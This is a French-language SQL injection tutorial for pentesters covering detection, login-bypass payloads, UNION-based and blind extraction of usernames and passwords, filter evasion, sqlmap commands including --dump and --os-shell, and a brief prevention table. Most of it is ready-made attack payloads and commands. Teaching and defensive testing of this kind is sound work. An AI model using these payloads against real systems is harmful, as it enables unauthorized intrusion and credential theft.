SQL Injection — Exploitation des Bases de Données
Guide complet des injections SQL : détection, exploitation manuelle, UNION-based, Blind SQLi, et automatisation avec sqlmap.
Introduction
L'injection SQL (SQLi) est une vulnérabilité web qui permet d'interagir directement avec la base de données d'une application en manipulant les requêtes SQL via des entrées utilisateur non assainies. C'est l'une des failles les plus dangereuses : elle peut mener à la fuite totale de la base de données, au contournement d'authentification, voire à l'exécution de commandes système.
Types d'Injection SQL
| Type | Description |
|---|---|
| In-band (Classic) | Le résultat est visible directement dans la réponse |
| UNION-based | Combine les résultats avec une seconde requête via UNION |
| Error-based | Exploite les messages d'erreur SQL pour extraire des données |
| Blind (Boolean) | Déduit les données selon des réponses vrai/faux |
| Blind (Time-based) | Déduit les données selon le temps de réponse |
| Out-of-band | Exfiltre les données via un canal tiers (DNS, HTTP) |
Détection
Tests de Base
-- Injection de guillemets pour provoquer une erreur
'
"
`
')
")
-- Test arithmétique (la page doit réagir différemment)
1 OR 1=1
1 OR 1=2
1' OR '1'='1
1' OR '1'='2
-- Commentaires SQL pour tronquer la requête
' --
' #
' /\*
'; --
Identifier le SGBD
-- MySQL
' AND 1=1 -- - -- Commentaire MySQL
SELECT @@version -- Version MySQL
SELECT version() -- Version alternative
-- PostgreSQL
' AND 1=1 -- -- Commentaire PostgreSQL
SELECT version() -- Version PostgreSQL
-- Microsoft SQL Server
' AND 1=1 -- -- Commentaire MSSQL
SELECT @@version -- Version MSSQL
-- Oracle
' AND 1=1 -- -- Commentaire Oracle
SELECT banner FROM v$version -- Version Oracle
-- SQLite
' AND 1=1 --
SELECT sqlite_version()Contournement d'Authentification
Login Bypass Classiques
-- Requête originale côté serveur :
-- SELECT * FROM users WHERE username='INPUT' AND password='INPUT'
-- Payloads dans le champ "username" :
admin' --
admin' #
admin'/_
' OR 1=1 --
' OR 1=1 #
' OR '1'='1
' OR '1'='1' --
' OR '1'='1' /_
') OR ('1'='1
') OR ('1'='1' --
-- Avec le champ password vide :
username: admin' --
password: (n'importe quoi)
-- La requête devient :
-- SELECT \* FROM users WHERE username='admin' -- ' AND password='xxx'
-- Le commentaire -- ignore la vérification du mot de passe
UNION-based SQLi
La technique UNION permet de combiner le résultat de la requête originale avec une requête malveillante pour extraire des données d'autres tables.
Étape 1 : Déterminer le Nombre de Colonnes
-- Méthode ORDER BY (incrémenter jusqu'à obtenir une erreur)
' ORDER BY 1 --
' ORDER BY 2 --
' ORDER BY 3 --
' ORDER BY 4 -- ← Erreur ! → 3 colonnes
-- Méthode UNION SELECT NULL
' UNION SELECT NULL --
' UNION SELECT NULL, NULL --
' UNION SELECT NULL, NULL, NULL -- ← Pas d'erreur → 3 colonnes
' UNION SELECT NULL, NULL, NULL, NULL -- ← ErreurÉtape 2 : Identifier les Colonnes Affichées
-- Injecter des valeurs distinctes pour repérer lesquelles s'affichent
' UNION SELECT 'aaa', 'bbb', 'ccc' --
-- Si "bbb" s'affiche sur la page → la colonne 2 est visible
-- On utilisera la colonne 2 pour extraire des données
Étape 3 : Extraire les Données
-- Version de la base de données
' UNION SELECT NULL, @@version, NULL --
-- Liste des bases de données (MySQL)
' UNION SELECT NULL, schema_name, NULL FROM information_schema.schemata --
-- Liste des tables d'une base
' UNION SELECT NULL, table_name, NULL FROM information_schema.tables WHERE table_schema='target_db' --
-- Liste des colonnes d'une table
' UNION SELECT NULL, column_name, NULL FROM information_schema.columns WHERE table_name='users' --
-- Extraire les données
' UNION SELECT NULL, CONCAT(username, ':', password), NULL FROM users --
-- Combiner plusieurs colonnes (MySQL)
' UNION SELECT NULL, GROUP_CONCAT(username, 0x3a, password SEPARATOR 0x0a), NULL FROM users --Blind SQLi — Boolean-based
Lorsque l'application ne retourne pas les données directement mais affiche un comportement différent (page différente, message différent) selon que la condition est vraie ou fausse.
-- Vrai (page normale)
' AND 1=1 --
-- Faux (page différente ou message d'erreur)
' AND 1=2 --
-- Extraire la version caractère par caractère
' AND SUBSTRING(@@version, 1, 1) = '5' --
' AND SUBSTRING(@@version, 1, 1) = '8' --
-- Extraire le nom de la base
' AND SUBSTRING(database(), 1, 1) = 'a' --
' AND SUBSTRING(database(), 1, 1) = 'b' --
-- ... jusqu'à trouver le bon caractère
-- Vérifier l'existence d'une table
' AND (SELECT COUNT(\*) FROM users) > 0 --
-- Extraire un mot de passe caractère par caractère
' AND SUBSTRING((SELECT password FROM users WHERE username='admin'), 1, 1) = 'a' --
' AND SUBSTRING((SELECT password FROM users WHERE username='admin'), 1, 1) = 'b' --
Blind SQLi — Time-based
Quand la réponse de l'application est identique dans tous les cas, on utilise des délais temporels pour déduire l'information.
-- MySQL : SLEEP()
' AND IF(1=1, SLEEP(5), 0) -- ← Délai de 5s = VRAI
' AND IF(1=2, SLEEP(5), 0) -- ← Pas de délai = FAUX
-- Extraire des données avec le temps
' AND IF(SUBSTRING(database(), 1, 1)='a', SLEEP(5), 0) --
' AND IF(SUBSTRING(database(), 1, 1)='t', SLEEP(5), 0) --
-- PostgreSQL : pg_sleep()
' AND (SELECT CASE WHEN (1=1) THEN pg_sleep(5) ELSE pg_sleep(0) END) --
-- MSSQL : WAITFOR DELAY
'; IF (1=1) WAITFOR DELAY '0:0:5' --
-- SQLite
' AND CASE WHEN (1=1) THEN randomblob(500000000) ELSE 0 END --Automatisation avec sqlmap
sqlmap est l'outil de référence pour automatiser la détection et l'exploitation des injections SQL.
# Détection automatique
sqlmap -u "https://target.com/page?id=1"
# Avec un cookie de session
sqlmap -u "https://target.com/page?id=1" --cookie="PHPSESSID=abc123"
# Tester un formulaire POST
sqlmap -u "https://target.com/login" --data="username=admin&password=test"
# Lister les bases de données
sqlmap -u "https://target.com/page?id=1" --dbs
# Lister les tables d'une base
sqlmap -u "https://target.com/page?id=1" -D target_db --tables
# Lister les colonnes d'une table
sqlmap -u "https://target.com/page?id=1" -D target_db -T users --columns
# Dumper les données
sqlmap -u "https://target.com/page?id=1" -D target_db -T users --dump
# Obtenir un shell OS
sqlmap -u "https://target.com/page?id=1" --os-shell
# Options de performance
sqlmap -u "https://target.com/page?id=1" --threads=10 --level=5 --risk=3
Options sqlmap Essentielles
| Option | Description |
|---|---|
| --dbs | Lister les bases de données |
| --tables | Lister les tables |
| --dump | Extraire les données |
| --os-shell | Shell système interactif |
| --level | Niveau de test (1-5) |
| --risk | Niveau de risque (1-3) |
| --batch | Mode non-interactif |
| --tamper | Scripts d'obfuscation |
Contournement de Filtres
-- Contournement d'espaces
/**/OR/**/1=1
+OR+1=1
%09OR%091=1 -- Tab
%0aOR%0a1=1 -- Newline
-- Contournement de mots-clés
SEL/**/ECT
SeLeCt (casse mixte)
CONCAT(0x73656c656374) -- Encodage hex
-- Contournement de guillemets
CHAR(97,100,109,105,110) -- 'admin' en MySQL
CHR(97)||CHR(100)||CHR(109)||CHR(105)||CHR(110) -- Oracle
-- Double URL encoding
%2527 → %27 → '
-- Tamper scripts sqlmap
sqlmap -u "URL" --tamper=space2comment
sqlmap -u "URL" --tamper=between,randomcase
sqlmap -u "URL" --tamper=charunicodeencodePrévention
| Mesure | Description |
|---|---|
| Prepared Statements | Utiliser des requêtes paramétrées (PDO, PreparedStatement) |
| ORM | Utiliser un ORM (Eloquent, Hibernate, SQLAlchemy) |
| Input Validation | Valider le type et le format des entrées |
| Least Privilege | Limiter les droits du compte SQL de l'application |
| WAF | Web Application Firewall pour détecter les patterns SQLi |
| Error Handling | Ne jamais exposer les messages d'erreur SQL |
[Attacker] [Web Application] [Database]
│ │ │
│ ── ' OR 1=1 -- ────────────> │ │
│ │ ── SELECT * FROM users │
│ │ WHERE id='' OR 1=1 -- ─>│
│ │ │
│ │ <── Toutes les lignes ──── │
│ <── Données sensibles ─────── │ │
│ │ │
│ ── UNION SELECT ────────────> │ ── Requête combinée ─────> │
│ <── Dump de la base ───────── │ <── Tables, colonnes ───── │Résumé
L'injection SQL reste l'une des vulnérabilités les plus critiques en sécurité web. La maîtrise des différentes techniques (UNION-based, Blind Boolean/Time, Error-based) est essentielle pour tout pentester. L'automatisation via sqlmap accélère considérablement l'exploitation. La meilleure protection reste l'utilisation systématique de requêtes paramétrées (Prepared Statements).